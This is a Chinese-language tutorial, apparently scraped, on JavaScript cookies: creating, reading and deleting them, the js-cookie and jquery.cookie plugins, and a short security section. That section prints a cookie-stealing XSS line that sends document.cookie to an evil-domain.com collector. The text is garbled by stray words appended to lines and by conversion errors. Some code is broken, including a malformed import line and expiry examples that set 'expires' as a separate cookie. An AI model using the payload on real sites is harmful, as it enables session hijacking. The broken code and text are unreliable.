JavaScript — Cookie

时间 2020-04-07

标签 javascript cookie 栏目 JavaScript 繁體版

原文原文链接

1、什么是Cookie

Cookie，小型文本文本，是某些网站为了辨别用户身份而加密存储在用户本地终端上的数据（来自维基百科）javascript

一、分类

Cookie老是保存在客户端中，按在客户端中的存储位置，可分为内存Cookie和硬盘Cookie。php

内存cookie由浏览器维护，保存在内存中，浏览器关闭后就消失了，存在时间是短暂的。css

硬盘cookie保存在硬盘里，有一个过时时间，除非用户手工清理或到了过时时间，到了过时时间，硬盘cookie不会被删除，存在时间是长期的。html

因此按照存在时间，分为非持久cookie和持久cookie。java

二、用途

Web浏览器和服务器使用HTTP协议进行通讯，由于HTTP是无状态协议，因此服务器不知道用户上一次作了什么，不利于交互式Web应用程序的实现。但对于商业网站，须要在不一样页面之间维护会话信息。服务器能够设置或读取Cookies中包含信息，借此维护用户跟服务器会话)中的状态。jquery

Cookie另外一个典型的应用是当登陆一个网站时，网站每每会请求用户输入用户名和密码，而且用户能够勾选“下次自动登陆”。若是勾选了，那么下次访问同一网站时，用户会发现没输入用户名和密码就已经登陆了。这正是由于前一次登陆时，服务器发送了包含登陆凭据（用户名加密码的某种加密形式）的Cookie到用户的硬盘上。第二次登陆时，若是该Cookie还没有到期，浏览器会发送该Cookie，服务器验证凭据，用户没必要输入用户名和密码就能够登陆了。shell

在许多状况下，使用Cookie是记住和跟踪偏好以及更好的提升访问者体验或网站统计所需的其余信息的最有效方法。npm

Cookie主要用于如下三个方面：浏览器

会话状态管理（如用户登陆状态、购物车、游戏分数或其它须要记录的信息）
个性化设置（如用户自定义设置、主题等）
浏览器行为跟踪（如跟踪分析用户行为等）

三、缺点

Cookie会被附加在每一个HTTP请求中，因此无形中增长了性能开销
因为在HTTP请求中的Cookie是明文传递的，因此存在安全性问题，除非用HTTPS
Cookie的大小限制在4KB左右，对于复杂的存储需求来讲是不够用的

新的浏览器API已经容许开发者直接将数据存储到本地，如使用 Web storage API （本地存储和会话存储）或 IndexedDB 。安全

2、Cookie操做

当服务器收到HTTP请求时，服务器能够在响应头里面添加一个Set-Cookie选项。浏览器收到响应后一般会保存下Cookie，以后对该服务器每一次请求中都经过Cookie请求头部将Cookie信息发送给服务器，服务器会知道/记住以前访问的内容。另外，Cookie的过时时间、域、路径、有效期、适用站点均可以根据须要来指定。

过时时间（Expires*）：若是这是空白，则访问者退出浏览器时cookie将过时
域（Domain ）：网站域名
路径（Path）：设置cookie的目录或网页的路径
有效期：

JavaScript可使用Document对象的cookie属性来操做cookie 。JavaScript能够读取、建立、修改和删除适用于当前网页的cookie。

一、建立Cookie

建立cookie的最简单方法是为document.cookie对象分配一个字符串值:

document.cookie = "key1 = value1;key2 = value2;expires = date";

这里的expires属性是可选的。若是您为此属性提供有效的日期或时间，则cookie将在给定的日期或时间到期，此后，cookie的值将没法访问。

设置Cookie过时时间

经过设置过时日期并在cookie中保存到期日期来延长cookie的生命周期，使其超出当前浏览器会话。这能够经过将'expires'属性设置为日期和时间来完成。

<html>
   <head>   
      <script type = "text/javascript">
         <!--
            function WriteCookie() {
               var now = new Date();
               now.setMonth( now.getMonth() + 1 );
               cookievalue = escape(document.myform.customer.value) + ";"
               
               document.cookie = "name=" + cookievalue;
               document.cookie = "expires=" + now.toUTCString() + ";"
               document.write ("Setting Cookies : " + "name=" + cookievalue );
            }
         //-->
      </script>      
   </head>
   
   <body>
      <form name = "myform" action = "">
         Enter name: <input type = "text" name = "customer"/>
         <input type = "button" value = "Set Cookie" onclick = "WriteCookie()"/>
      </form>      
   </body>
</html>

二、获取Cookie

<html>
   <head>   
      <script type = "text/javascript">
         <!--
            function ReadCookie() {
               var allcookies = document.cookie;
               document.write ("All Cookies : " + allcookies );
               
               // Get all the cookies pairs in an array
               cookiearray = allcookies.split(';');
               
               // Now take key value pair out of this array
               for(var i=0; i<cookiearray.length; i++) {
                  name = cookiearray[i].split('=')[0];
                  value = cookiearray[i].split('=')[1];
                  document.write ("Key is : " + name + " and Value is : " + value);
               }
            }
         //-->
      </script>      
   </head>
   
   <body>     
      <form name = "myform" action = "">
         <p> click the following button and see the result:</p>
         <input type = "button" value = "Get Cookie" onclick = "ReadCookie()"/>
      </form>      
   </body>
</html>

三、删除Cookie

只需将到期日期设置为过去的时间。

<html>
   <head>   
      <script type = "text/javascript">
         <!--
            function WriteCookie() {
               var now = new Date();
               now.setMonth( now.getMonth() - 1 );
               cookievalue = escape(document.myform.customer.value) + ";"
               
               document.cookie = "name=" + cookievalue;
               document.cookie = "expires=" + now.toUTCString() + ";"
               document.write("Setting Cookies : " + "name=" + cookievalue );
            }
          //-->
      </script>      
   </head>
   
   <body>
      <form name = "myform" action = "">
         Enter name: <input type = "text" name = "customer"/>
         <input type = "button" value = "Set Cookie" onclick = "WriteCookie()"/>
      </form>      
   </body>
</html>

3、轻量级Cookie插件

`js-cookie.js`

一、引入

（1）直接引入CDN或者本地下载引入

// CDN
<script src="https://cdn.jsdelivr.net/npm/js-cookie@2/src/js.cookie.min.js"></script>
// 本地
<script src="./js/js.cookie.js"></script>

（2）模块化

npm install js-cookie

import Cookir form js-cookie

二、使用

（1）设置cookie

Cookies.set('name', 'value', { expires: 7, path: '' }); //7天过时

（2）读取cookie

Cookies.get('name'); //获取cookie

Cookies.get(); //读取全部的cookie

（3）删除cookie

Cookies.remove('name'); //删除cookie时必须是同一个路径。

`jquery.cookie.js`

一、引入

<script type="text/javascript" src="//cdn.bootcss.com/jquery/3.1.1/jquery.min.js"></script>

<script type="text/javascript" src="//cdn.bootcss.com/jquery-cookie/1.4.1/jquery.cookie.min.js"></script>

二、使用

（1）建立cookie

//建立一个会话cookie，所建立的cookie有效期默认到用户浏览器关闭止
$.cookie("name","AmberYLopez");

//建立一个持久cookie，指明时间时，故称为持久cookie，而且有效时间为7天
$.cookie("name","AmberYLopez",｛expires:7｝);

//建立一个持久并带有效路径的cookie
//若是不设置有效路径，在默认状况下，只能在cookie设置当前页面读取该cookie，cookie的路径用于设置可以读取cookie的顶级目录。
$.cookie("name","AmberYLopez",｛expires:7,path:'/'｝);

//建立一个持久并带有效路径和域名的cookie
//domain：建立cookie所在网页所拥有的域名；secure：默认是false，若是为true，cookie的传输协议需为https；
//raw：默认为false，读取和写入时候自动进行编码和解码（使用encodeURIComponent编码，使用decodeURIComponent解码），关闭这个功能，请设置为true。
$.cookie("name","AmberYLopez",｛expires:7,path:'/',domain:'chuhoo.com',secure:false,raw:false｝);

（2）获取cookie

$.cookie("name"); 
 //若是存在则返回AmberYLopez，不然返回null。

（3）删除cookie

$.cookie("name",null);

4、安全性

保护cookie不被非法访问的惟一方法是将它放在另外一个域名/子域名之下,，利用同源策略保护其不被读取。

Web应用程序一般使用cookies来标识用户身份及他们的登陆会话.。所以经过窃听这些cookie，就能够劫持已登陆用户的会话.，窃听的cookie的常见方法包括CSRF攻击和XSS攻击

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly 属性能够阻止经过javascript访问cookie，从而必定程度上遏制这类攻击。

参考资料：
Cookie-维基百科

Document.cookie

js-cookie.js的使用

Js 操做Cookie